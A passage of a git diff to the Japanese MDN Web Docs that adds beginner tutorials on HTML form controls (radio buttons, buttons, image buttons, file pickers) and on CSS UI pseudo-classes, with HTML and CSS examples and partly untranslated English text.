token">=</span><span class="punctuation token">"</span>curry<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>meal<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>curry<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>li</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>li</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pizza<span class="punctuation token">"</span></span><span class="punctuation token">></span></span>Pizza<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>label</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>radio<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pizza<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>meal<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>pizza<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>li</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"></</span>ul</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>fieldset</span><span class="punctuation token">></span></span></code></pre> + +<p>下記のスクリーンショットは macOS での Firefox 71 と Safari と Windows 10 の Chrome 79 と Edge 18 にて、チェックなしとチェックされたラジオボタン、フォーカスされた、また無効でチェックなしとチェックされたラジオボタンを示しています。</p> + +<p><img alt="Radio buttons on Firefox 71 and Safari 13 on Mac and Chrome 79 and Edge 18 on Windows 10" src="https://mdn.mozillademos.org/files/17022/radios.png" style="height: 142px; width: 196px;"></p> + +<h2 id="Buttons" name="Buttons">ボタン</h2> + +<p>ラジオボタンはその名に反して、実際のボタンではありません。実際のボタンを見てみましょう! ボタンを生成するには、3 種類の入力タイプがあります:</p> + +<dl> + <dt>{{原語併記("送信", "Submit")}}</dt> + <dd>フォームデータをサーバーに送信します。{{HTMLElement("button")}} 要素の場合、<code>type</code> 属性 (または <code>type</code> の無効な値) を省略すると、送信ボタンが表示されます。</dd> + <dt>{{原語併記("リセット", "Reset")}}</dt> + <dd>すべてのフォームウィジェットをデフォルト値にリセットします。</dd> + <dt><code>button</code></dt> + <dd>自動的な効果のないボタンで、JavaScript コードを用いてカスタマイズできるもの。</dd> +</dl> + +<p>それから、{{htmlelement("button")}} 要素それ自体もあります。これは値が <code>submit</code>、<code>reset</code> または <code>button</code> である <code>type</code> 属性をとり、上記の 3 つの <code><input></code> 種別を模倣できます。この 2 つの主な違いは実際の <code><button></code> 要素の方が多くのスタイル設定できることです。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: <code>image</code> 入力タイプもボタンとしてレンダリングされます。それはあとで見ます。</p> +</div> + +<div class="note"> +<p><strong>注</strong>: このセクションの例は <a href="https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/button-examples.html">button-examples.html</a> として GitHub にあります (<a href="https://mdn.github.io/learning-area/html/forms/native-form-widgets/button-examples.html">こちらも参照してください</a>)。</p> +</div> + +<p>ボタンは {{HTMLElement("button")}} 要素か {{HTMLElement("input")}} 要素で作成します。どの種類のボタンを表示するかを指定するのは、{{htmlattrxref("type","input")}} 属性の値です:</p> + +<h3 id="submit" name="submit">送信</h3> + +<pre class="brush: html notranslate"><button type="submit"> + This a <br><strong>submit button</strong> +</button> + +<input type="submit" value="This is a submit button"></pre> + +<h3 id="reset" name="reset">リセット</h3> + +<pre class="brush: html notranslate"><button type="reset"> + This a <br><strong>reset button</strong> +</button> + +<input type="reset" value="This is a reset button"></pre> + +<h3 id="anonymous" name="anonymous">無名</h3> + +<pre class="brush: html notranslate"><button type="button"> + This an <br><strong>anonymous button</strong> +</button> + +<input type="button" value="This is an anonymous button"></pre> + +<p>ボタンは {{HTMLElement("button")}} 要素でも {{HTMLElement("input")}} 要素でも、常に同じ動作になります。上記のサンプルでわかるように、{{HTMLElement("button")}} 要素はラベルとして HTML コンテンツを使用できて、これは開始と終了の<code><button></code>タグの間に挿入されます。一方で{{HTMLElement("input")}} 要素は空要素です。つまり <code>value</code> 属性の中にラベルが挿入され、このためプレーンテキストのコンテンツのみ使用できます。</p> + +<p>下記の例は macOS での Firefox 71 と Safari と Windows 10 の Chrome 79 と Edge 18 にて、既定の、フォーカスされた、無効なボタンを示しています。</p> + +<p><img alt="Default, focused and disabled button input types in Firefox 71 and Safari 13 on Mac and Chrome 79 and Edge 18 on Windows 10" src="https://mdn.mozillademos.org/files/17023/buttons.png" style="height: 182px; width: 286px;"></p> + +<h3 id="Image_button" name="Image_button">画像ボタン</h3> + +<p><strong>画像ボタン</strong>コントロールは {{HTMLElement("img")}} 要素とまったく同じように表示されますが、ユーザーがクリックすると送信ボタン (前述) のように動作します。</p> + +<p>画像ボタンは、{{htmlattrxref("type","input")}} 属性を <code>image</code> に設定した {{HTMLElement("input")}} 要素で作成します。</p> + +<p>この要素は {{HTMLElement("img")}} 要素とまったく同じ属性をサポートして、さらにフォームボタンがサポートする属性もすべてサポートします。</p> + +<pre class="brush: html notranslate"><input type="image" alt="Click me!" src="my-img.png" width="80" height="30" /></pre> + +<p>画像ボタンをフォームの送信に使用する際にこのウィジェットは自身の値を送信しませんが、代わりに画像上でクリックした位置の X 座標と Y 座標を送信します (座標は画像に対して相対的、つまり画像の左上隅が座標 0, 0 になります)。座標は 2 つのキーと値の組として送信されます。</p> + +<ul> + <li>X 値のキーは {{htmlattrxref("name","input")}} 属性の値の後ろに文字列 "<em>.x</em>" をつけたもの、</li> + <li>Y 値のキーは {{htmlattrxref("name","input")}} 属性の値の後ろに文字列 "<em>.y</em>" をつけたものです。</li> +</ul> + +<p>サンプルをご覧ください。フォームの画像上の座標 (123, 456) でクリックすると、 <code>get</code> メソッド経由で送信されて、以下のような値の追加された URL が送信されます:</p> + +<pre class="notranslate">http://foo.com?pos.x=123&pos.y=456</pre> + +<p>これは "hot map" を作成するためにとても便利な手段です。これらの値がどのように送信あるいは取得されるかについては、<a href="https://developer.mozilla.org/ja/docs/HTML/Forms/Sending_and_retrieving_form_data" title="HTML/Forms/Sending_and_retrieving_form_data">フォームデータの送信</a>の記事で詳しく説明します。</p> + +<h2 id="File_picker" name="File_picker">ファイルピッカー</h2> + +<p>初期のHTMLであった最後の <code><input></code> タイプがあります: ファイル入力タイプです。フォームで、ファイルをサーバーに送信できます。この特定操作については以下の記事で詳しく説明します: <a href="/ja/docs/HTML/Forms/Sending_and_retrieving_form_data" title="HTML/Forms/Sending_and_retrieving_form_data">フォームデータの送信</a>。ファイルピッカーウィジェットで、ユーザーは送信するファイルを 1 つ以上選択できます。</p> + +<p><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Element/input/file">ファイルピッカーウィジェット</a>を作成するには、{{htmlattrxref("type","input")}} 属性を <code>file</code> に設定した {{HTMLElement("input")}} 要素を使用します。{{htmlattrxref("accept","input")}} 属性を使用して、受け入れるファイルの種類を制限できます。加えて、ユーザーが複数のファイルを選択できるようにしたい場合は、{{htmlattrxref("multiple","input")}} 属性を付加します。</p> + +<h4 id="Example_3" name="Example_3">例</h4> + +<p>以下の例では、画像ファイルを要求するファイルピッカーを作成しています。ユーザーは複数のファイルを指定できます。</p> + +<pre class="brush: html line-numbers language-html notranslate"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>file<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>file<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>file<span class="punctuation token">"</span></span> <span class="attr-name token">accept</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>image/*<span class="punctuation token">"</span></span> <span class="attr-name token">multiple</span><span class="punctuation token">></span></span></code></pre> + +<p>いくつかのモバイルデバイスでは、ファイルピッカーは、次のようにキャプチャー情報を <code>accept</code> 属性に追加することで、端末のカメラやマイクでキャプチャーされた写真、動画、オーディオにアクセスできます:</p> + +<pre class="notranslate"><input type="file" accept="image/*;capture=camera"> +<input type="file" accept="video/*;capture=camcorder"> +<input type="file" accept="audio/*;capture=microphone"></pre> + +<h2 id="Common_attributes" name="Common_attributes">共通属性</h2> + +<p>フォームウィジェットを定義するために使用される要素の多くは、独自の属性をいくつか持っています。ただし、すべてのフォーム要素に共通の一連の属性があり、それによりウィジェットをある程度制御できます。共通属性のリストは以下のとおりです。</p> + +<table> + <thead> + <tr> + <th scope="col">属性名</th> + <th scope="col">既定値</th> + <th scope="col">説明</th> + </tr> + </thead> + <tbody> + <tr> + <td><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/autofocus">autofocus</a></code></td> + <td>false</td> + <td>この真偽値属性を使用すると、ユーザーがページをロードするときに、たとえば別のコントロールを入力して上書きしない限り、要素に自動的に入力フォーカスするように指定できます。この属性を指定できるのは、文書内の 1 つのフォーム関連要素だけです。</td> + </tr> + <tr> + <td><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/disabled">disabled</a></code></td> + <td>false</td> + <td>この真偽値属性は、ユーザーが要素と対話できないことを示します。この属性が指定されていない場合、要素はそれを含む要素 (例えば {{HTMLElement("fieldset")}}) からその設定を継承します。<code>disabled</code><span class="tlid-translation translation" lang="ja"><span title=""> 属性が設定されている包含要素がない場合は、その要素が有効になります。</span></span></td> + </tr> + <tr> + <td><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/form">form</a></code></td> + <td></td> + <td>ウィジェットが関連付けられている <code><form></code> 要素。属性の値は、同じ文書内の {{HTMLElement("form")}} 要素の <code>id</code> 属性でなければなりません。理論的には、フォームウィジェットを {{HTMLElement("form")}} 要素の外側に設定できます。しかし実際には、その機能をサポートするブラウザーはありません。</td> + </tr> + <tr> + <td><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/name">name</a></code></td> + <td></td> + <td>要素の名前。これはフォームデータとともに送信されます。</td> + </tr> + <tr> + <td><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Attributes/value">value</a></code></td> + <td></td> + <td>要素の初期値</td> + </tr> + </tbody> +</table> + +<h2 id="スキルをテストしましょう!">スキルをテストしましょう!</h2> + +<p>この記事の最後に到着しましたが、最も大事な情報を覚えていますか？ 次に進む前に、この情報を保持しているか検証するテストがあります — <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Forms/Test_your_skills:_Basic_controls">Test your skills: Basic controls</a> を見てください。</p> + +<h2 id="Conclusion" name="Conclusion">まとめ</h2> + +<p>上で見たように、利用可能なフォーム要素には多くの異なるタイプがあります。一度にこれらの詳細の全てを覚えておく必要はありません。詳細について調べるために好きなだけこの記事に戻ることができます 。</p> + +<p>この記事では古い入力タイプをカバーしてきました — これは HTML の初期の頃に導入されたオリジナルで、すべてのブラウザーでよくサポートされます。次のセクションでは、HTML 5 で追加された新しい <code>type</code> 属性の値を見ていきます。</p> + +<p>{{PreviousMenuNext("Learn/Forms/How_to_structure_a_web_form", "Learn/Forms/HTML5_input_types", "Learn/Forms")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Your_first_HTML_form">初めてのフォーム</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">フォームの構築方法</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/The_native_form_widgets">ネイティブフォームウィジェット</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/HTML5_input_types" rel="noopener">The HTML5 input types</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Other_form_controls" rel="noopener">Other form controls</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Styling_HTML_forms">フォームへのスタイル設定</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">フォームへの高度なスタイル設定</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/UI_pseudo-classes" rel="noopener">UI pseudo-classes</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Data_form_validation">フォームデータの検証</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">フォームデータの送信</a></li> +</ul> + +<h3 id="Advanced_Topics" name="Advanced_Topics">上級トピック</h3> + +<ul> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/How_to_build_custom_form_controls" rel="noopener">カスタムフォームコントロールの作成方法</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Sending_forms_through_JavaScript" rel="noopener">JavaScript によるフォームの送信</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Property_compatibility_table_for_form_widgets" rel="noopener">フォームウィジェット向けプロパティ実装状況一覧</a></li> +</ul> diff --git a/files/ja/learn/forms/ui_pseudo-classes/index.html b/files/ja/learn/forms/ui_pseudo-classes/index.html new file mode 100644 index 0000000000..8ab11cbac6 --- /dev/null +++ b/files/ja/learn/forms/ui_pseudo-classes/index.html @@ -0,0 +1,616 @@ +--- +title: UI 擬似クラス +slug: Learn/Forms/UI_pseudo-classes +tags: + - Beginner + - CSS + - Example + - Forms + - Guide + - HTML + - Pseudo-classes + - Styling + - Web +translation_of: Learn/Forms/UI_pseudo-classes +--- +<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/Forms/Advanced_form_styling", "Learn/Forms/Form_validation", "Learn/Forms")}}</p> + +<p>In the previous articles we covered the styling of various form controls, in a general manner. This included some usage of pseudo-classes, 例えば、using <code>:checked</code> to target a checkbox only when it is selected. <span class="seoSummary">In this article, we will explore in detail the different UI pseudo-classes available to us in modern browsers for styling forms in different states.</span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>Basic computer literacy, and a basic understanding of <a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML</a> and <a href="/ja/docs/Learn/CSS/First_steps">CSS</a>, including general knowledge of <a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">pseudo-classes and pseudo-elements</a>.</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>To understand what parts of forms are hard to style, and why; to learn what can be done to customize them.</td> + </tr> + </tbody> +</table> + +<h2 id="What_pseudo-classes_do_we_have_available" name="What_pseudo-classes_do_we_have_available">疑似クラスで何が利用できるか?</h2> + +<p>The original pseudo-classes available to us (as of <a href="http://www.w3.org/TR/CSS21/selector.html#dynamic-pseudo-classes" rel="external">CSS 2.1</a>) that are relevant to forms are:</p> + +<ul> + <li>{{cssxref(":hover")}}: Selects an element only when it is being hovered over by a mouse pointer.</li> + <li>{{cssxref(":focus")}}: Selects an element only when it is focused (i.e. by being tabbed to via the keyboard).</li> + <li>{{cssxref(":active")}}: selects an element only when it is being activated (i.e. while it is being clicked on, or when the <kbd>Return</kbd>/<kbd>Enter</kbd> key is being pressed down in the case of a keyboard activation).</li> +</ul> + +<p>These basic pseudo-classes should be familiar to you now. More recently, the <a href="http://www.w3.org/TR/css3-selectors/" rel="external">CSS Selector Level 3</a> and <a href="http://dev.w3.org/csswg/css3-ui/#pseudo-classes" rel="external">CSS Basic UI Level 3</a> added more pseudo-classes related to HTML forms that provide several other useful targetting conditions that you can take advantage of. We'll discuss these in more detail in the sections below, but briefly, the main ones we'll be looking at are:</p> + +<ul> + <li>{{cssxref(':required')}} and {{cssxref(':optional')}}: Targets required or optional form controls.</li> + <li>{{cssxref(":valid")}} and {{cssxref(":invalid")}}, and {{cssxref(":in-range")}} and {{cssxref(":out-of-range")}}: Target form controls that are valid/invalid according to form validation constraints set on them, or in-range/out-of-range.</li> + <li>{{cssxref(":enabled")}} and {{cssxref(":disabled")}}, and {{cssxref(":read-only")}} and {{cssxref(":read-write")}}: Target enabled or disabled form controls (e.g. with the <code>disabled</code> HTML attribute set), and read-write or read-only form controls (e.g. with the <code>readonly</code> HTML attribute set).</li> + <li>{{cssxref(":checked")}}, {{cssxref(":indeterminate")}}, and {{cssxref(":default")}}: Respectively target checkboxes and radio buttons that are checked, in an indeterminate state (neither checked or not checked), and the default selected option when the page loads (e.g. an <code><a href="/ja/docs/Web/HTML/Element/input/checkbox"><input type="checkbox"></a></code> with the <code>checked</code> attribute set, or an <code><a href="/ja/docs/Web/HTML/Element/option"><option></a></code> element with the <code>selected</code> attribute set).</li> +</ul> + +<p>There are many others too, but the ones listed above are the most obviously useful. Some of the others are aimed at solving very specific niche problems, or simply not very well supported in browsers yet. The ones listed above all have pretty good browser support, but of course you should test your form implementations carefully to make sure they work for your target audience.</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: A number of the pseudo-classes discussed here are concerned with styling form controls based on their validation state (is their data valid, or not?) You'll learn much more about setting and controlling validation constraints in our next article — <a href="/ja/docs/Learn/Forms/Form_validation">Client-side form validation</a> — but for now we'll keep things simple with regards to form validation, so it doesn't confuse things.</p> +</div> + +<h2 id="Styling_inputs_based_on_whether_they_are_required_or_not" name="Styling_inputs_based_on_whether_they_are_required_or_not">入力が必須か否かでスタイル設定する</h2> + +<p>One of the most basic concepts with regards to client-side form validation is whether a form input is required (it has to be filled in before the form can be submitted) or optional.</p> + +<p>{{htmlelement('input')}}, {{htmlelement('select')}}, and {{htmlelement('textarea')}} elements have a <code>required</code> attribute available which, when set, means that you have to fill in that control before the form will successfully submit. 例えば、:</p> + +<pre class="brush: html notranslate"><form> + <fieldset> + <legend>Feedback form</legend> + <div> + <label for="fname">First name: </label> + <input id="fname" name="fname" type="text" required> + </div> + <div> + <label for="lname">Last name: </label> + <input id="lname" name="lname" type="text" required> + </div> + <div> + <label for="email">Email address (include if you want a response): </label> + <input id="email" name="email" type="email"> + </div> + <div><button>Submit</button></div> + </fieldset> +</form></pre> + +<p>Here, the first name and last name are required, but the email address is optional.</p> + +<p>You can match these two states using the {{cssxref(':required')}} and {{cssxref(':optional')}} pseudo-classes. 例えば、if we apply the following CSS to the above HTML:</p> + +<pre class="brush: css notranslate">input:required { + border: 1px solid black; +} + +input:optional { + border: 1px solid silver; +}</pre> + +<p>The required controls would have a black border, and the optional control will have a silver border, like so:</p> + +<p>{{EmbedGHLiveSample("learning-area/html/forms/pseudo-classes/basic-required-optional.html", '100%', 400)}}</p> + +<p>You can also try submitting the form without flling it in, to see the client-side validation error messages browsers give you 既定では.</p> + +<p>The above form isn't bad, but it isn't great either. For a start, we are signalling required versus optional status using color alone, which isn't great for colorblind people. Second, the standard convention on the web for required status is an asterisk (*), or the word "required" being associated with the controls in question.</p> + +<p>In the next section we'll look at a better example of indicating required fields using <code>:required</code>, which also digs into using generated content.</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: You'll probably not find yourself using the <code>:optional</code> pseudo-class very often. Form controls are optional 既定では, so you could just do your optional styling 既定では, and add styles on top for required controls.</p> +</div> + +<div class="blockIndicator note"> +<p><strong>注</strong>: If one radio button in a same-named group of radio buttons has the <code>required</code> attribute, all the radio buttons will be invalid until one is selected, but only the one with the attribute assigned will actually match {{cssxref(':required')}}<strong>.</strong></p> +</div> + +<h2 id="Using_generated_content_with_pseudo-classes" name="Using_generated_content_with_pseudo-classes">疑似クラスでコンテンツを生成する</h2> + +<p>In previous articles we've seen usage of <a href="/ja/docs/Web/CSS/CSS_Generated_Content">generated content</a>, but we thought now would be a good time to talk about it in a bit more detail.</p> + +<p>The idea is that we can use the <code><a href="/ja/docs/Web/CSS/::before">::before</a></code> and <code><a href="/ja/docs/Web/CSS/::after">::after</a></code> pseudo-elements along with the <code><a href="/ja/docs/Web/CSS/content">content</a></code> property to make a chunk of content appear before or after the affected element. The chunk of content is not added to the DOM, so is invisible to screenreaders; it is part of the document's styles. Because it is a pseudo element, it can be targetted with styles in the same way that any actual DOM node can.</p> + +<p>This is really useful when you want to add a visual indicator to an element, such as a label or icon, but don't want it to be picked up by assistive technologies. 例えば、in our <a href="https://mdn.github.io/learning-area/html/forms/styling-examples/radios-styled.html">custom radio buttons example</a>, we use generated content to handle the placement and animation of the inner circle when a radio button is selected:</p> + +<pre class="brush: css notranslate">input[type="radio"]::before { + display: block; + content: " "; + width: 10px; + height: 10px; + border-radius: 6px; + background-color: red; + font-size: 1.2em; + transform: translate(3px, 3px) scale(0); + transform-origin: center; + transition: all 0.3s ease-in; +} + +input[type="radio"]:checked::before { + transform: translate(3px, 3px) scale(1); + transition: all 0.3s cubic-bezier(0.25, 0.25, 0.56, 2); +}</pre> + +<p>This is really useful — screenreaders already let their users know when a radio button or checkbox they encounter is checked/selected, so you don't want them to read out another DOM element that indicates selection — that could be confusing. Having a purely visual indicator solves this problem.</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: This also shows how you can combine a pseudo-class and pseudo-element if required.</p> +</div> + +<p>Back to our required/optional example from before, this time we'll not alter the appearance of the input itself — we'll use generated content to add an indicating label (<a href="https://mdn.github.io/learning-area/html/forms/pseudo-classes/required-optional-generated.html">see it live here</a>, and see the <a href="https://github.com/mdn/learning-area/blob/master/html/forms/pseudo-classes/required-optional-generated.html">source code here</a>).</p> + +<p>First of all, we'll add a paragraph to the top of the form to say what you are looking for:</p> + +<pre class="brush: html notranslate"><p>Required fields are labelled with "required".</p></pre> + +<p>Screenreader users will get "required" read out as an extra bit of information when they get to each required input, which sighted users will get our label.</p> + +<p>Since form inputs don't directly support having generated content put on them (this is because generated content is placed relative to an element's formatting box, but form inputs work more like replaced elements and therefore don't have one), we will add an empty <code><a href="/ja/docs/Web/HTML/Element/span"><span></a></code> to hang the generated content on:</p> + +<pre class="brush: html notranslate"><div> + <label for="fname">First name: </label> + <input id="fname" name="fname" type="text" required> + <span></span> +</div></pre> + +<p>The immediate problem with this was that the span was dropping onto a new line below the input, because the input and label are both set with <code>width: 100%</code>. To fix this we style the parent <code><div></code> to become a flex container, but also tell it to wrap its contents onto new lines if the content becomes too long:</p> + +<pre class="brush: css notranslate">fieldset > div { + margin-bottom: 20px; + display: flex; + flex-flow: row wrap; +}</pre> + +<p>The effect this has is that the label and input sit on separate lines because they are both <code>width: 100%</code>, but the <code><span></code> has a width of 0 so can sit on the same line as the input.</p> + +<p>Now onto the generated content. We create it using this CSS:</p> + +<pre class="brush: css notranslate">input + span { + position: relative; +} + +input:required + span::after { + font-size: 0.7rem; + position: absolute; + content: "required"; + color: white; + background-color: black; + padding: 5px 10px; + top: -26px; + left: -70px; +}</pre> + +<p>We set the <code><span></code> to <code>position: relative</code> simply so that we can set the generated content to <code>position: absolute</code> and position it relative to the <code><span></code> rather than the <body> (The generated content acts as though it is a child node of the element it is generated on, for the purposes of positioning).</p> + +<p>Then we give the generated content the content "required", which is what we wanted our label to say, and style and position it as we want. The result is seen below.</p> + +<p>{{EmbedGHLiveSample("learning-area/html/forms/pseudo-classes/required-optional-generated.html", '100%', 430)}}</p> + +<h2 id="Styling_controls_based_on_whether_their_data_is_valid" name="Styling_controls_based_on_whether_their_data_is_valid">データが妥当が否かでコントロールをスタイル設定する</h2> + +<p>The other really important, fundamental concept in form validation is whether a form control's data is valid or not (in the case of numerical data, we can also talk about in-range and out-of-range data). Form controls with <a href="/ja/docs/Web/Guide/HTML/HTML5/Constraint_validation">constraint limitations</a> can be targeted based on these states.</p> + +<h3 id="valid_and_invalid" name="valid_and_invalid">:valid と :invalid</h3> + +<p>You can target from control using the {{cssxref(":valid")}} and {{cssxref(":invalid")}} pseudo-classes. Some points worth bearing in mind:</p> + +<ul> + <li>Controls with no constraint validation will always be valid, and therefore matched with <code>:valid</code>.</li> + <li>Controls with <code>required</code> set on them that have no value are counted as invalid — they will be matched with <code>:invalid</code> and <code>:required</code>.</li> + <li>Controls with built-in validation, such as <code><input type="email"></code> or <code><input type="url"></code> are (matched with) <code>:invalid</code> when the data entered into them does not match the pattern they are looking for (but they are valid when empty).</li> + <li>Controls whose current value is outside the range limits specified by the {{htmlattrxref("min", "input")}} and {{htmlattrxref("max","input")}} attributes are (matched with) <code>:invalid</code>, but also matched by {{cssxref(":out-of-range")}}, as you'll see later on.</li> + <li>There are some other ways to make an element matched by <code>:valid</code>/<code>:invalid</code>, as you'll see in the <a href="/ja/docs/Learn/Forms/Form_validation">Client-side form validation</a> article. But we'll keep things simple for now.</li> +</ul> + +<p>Let's go in and look at a simple example of <code>:valid</code>/<code>:invalid</code> (see <a href="https://mdn.github.io/learning-area/html/forms/pseudo-classes/valid-invalid.html">valid-invalid.html</a> for the live version, and also check out the <a href="https://github.com/mdn/learning-area/blob/master/html/forms/pseudo-classes/valid-invalid.html">source code</a>).</p> + +<p>As in the previous example, we've got extra <code><span></code>s to generate content on, which we'll use to provide indicators of valid/invalid data:</p> + +<pre class="brush: html notranslate"><div> + <label for="fname">First name *: </label> + <input id="fname" name="fname" type="text" required> + <span></span> +</div></pre> + +<p>To provide these indicators, we use the following CSS:</p> + +<pre class="brush: css notranslate">input + span { + position: relative; +} + +input + span::before { + position: absolute; + right: -20px; + top: 5px; +} + +input:invalid { + border: 2px solid red; +} + +input:invalid + span::before { + content: '✖'; + color: red; +} + +input:valid + span::before { + content: '✓'; + color: green; +}</pre> + +<p>As before, we set the <code><span></code>s to <code>position: relative</code> so that we can position the generated content relative to them. We then absolutely position different generated content depending on whether the form's data is valid or invalid — a green check or a red cross, respectively. To add a bit of extra urgency to the invalid data, we've also given the inputs a thick red border when invalid.</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: We've used <code>::before</code> to add these labels, as we were already using <code>::after</code> for the "required" labels.</p> +</div> + +<p>You can try it below:</p> + +<p>{{EmbedGHLiveSample("learning-area/html/forms/pseudo-classes/valid-invalid.html", '100%', 430)}}</p> + +<p>Notice how the required text inputs are invalid when empty, but valid when they have something filled in. The email input on the other hand is valid when empty, as it is not required, but invalid when it contains something that is not a proper email address.</p> + +<h3 id="In-range_and_out-of-range_data" name="In-range_and_out-of-range_data">範囲内と範囲外のデータ</h3> + +<p>As we hinted at above, there are two other related pseudo-classes to consider — {{cssxref(":in-range")}} and {{cssxref(":out-of-range")}}. These match numeric inputs where range limits are specified by the {{htmlattrxref("min", "input")}} and {{htmlattrxref("max","input")}}, when their data is inside or outside the specified range, respectvely.</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: Numeric input types are <code>date</code>, <code>month</code>, <code>week</code>, <code>time</code>, <code>datetime-local</code>, <code>number</code>, and <code>range</code>.</p> +</div> + +<p>It is worth noting that inputs whose data is in-range will also be matched by the <code>:valid</code> pseudo-class, and inputs whose data is out-of-range will also be matched by the <code>:invalid</code> pseudo-class. So why have both? The issue is really one of semantics — out-of-range is a more specific type of invalid communication, so you might want to provide a different message for out-of-range inputs, which will be more helpful to users than just saying "invalid". You might even want to provide both.</p> + +<p>Let's look at an example that does exactly this. Our <a href="https://mdn.github.io/learning-area/html/forms/pseudo-classes/out-of-range.html">out-of-range.html</a> demo (see also the <a href="https://github.com/mdn/learning-area/blob/master/html/forms/pseudo-classes/out-of-range.html">source code</a>) builds on top of the previous example to provide out-of-range messages for the numeric inputs, as well as saying whether they are required.</p> + +<p>The numeric input looks like this:</p> + +<pre class="brush: html notranslate"><div> + <label for="age">Age (must be 12+): </label> + <input id="age" name="age" type="number" min="12" max="120" required> + <span></span> +</div></pre> + +<p>And the CSS looks like this:</p> + +<pre class="brush: css notranslate">input + span { + position: relative; +} + +input + span::after { + font-size: 0.7rem; + position: absolute; + padding: 5px 10px; + top: -26px; +} + +input:required + span::after { + color: white; + background-color: black; + content: "Required"; + left: -70px; +} + +input:out-of-range + span::after { + color: white; + background-color: red; + width: 155px; + content: "Outside allowable value range"; + left: -182px; +}</pre> + +<p>This is a similar story to what we had before in the <code>:required</code> example, except that here we've split out the declarations that apply to any <code>::after</code> content into a separate rule, and given the separate <code>::after</code> content for <code>:required</code> and <code>:out-of-range</code> states their own content and styling. You can try it here:</p> + +<p>{{EmbedGHLiveSample("learning-area/html/forms/pseudo-classes/out-of-range.html", '100%', 430)}}</p> + +<p>It is possible for the number input to be both required and out-of-range at the same time, so what happens then? Because the <code>:out-of-range</code> rule appears later in the source code than the <code>:required</code> rule, the <a href="/ja/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance#Understanding_the_cascade">cascade rules</a> come into play, and the out of range message is shown.</p> + +<p>This works quite nicely — when the page first loads, "Required" is shown, along with a red cross and border. When you've typed in a valid age (i.e. in the range of 12-120), the input turns valid. If however, you then change the age entry to one that is out of range, the "Outside allowable value range" message then pops up in place of "Required".</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: To enter an invalid/out-of-range value, you'll have to actually focus the form and type it in using the keyboard. The spinner buttons won't let you increment/decrement the value outside the allowable range.</p> +</div> + +<h2 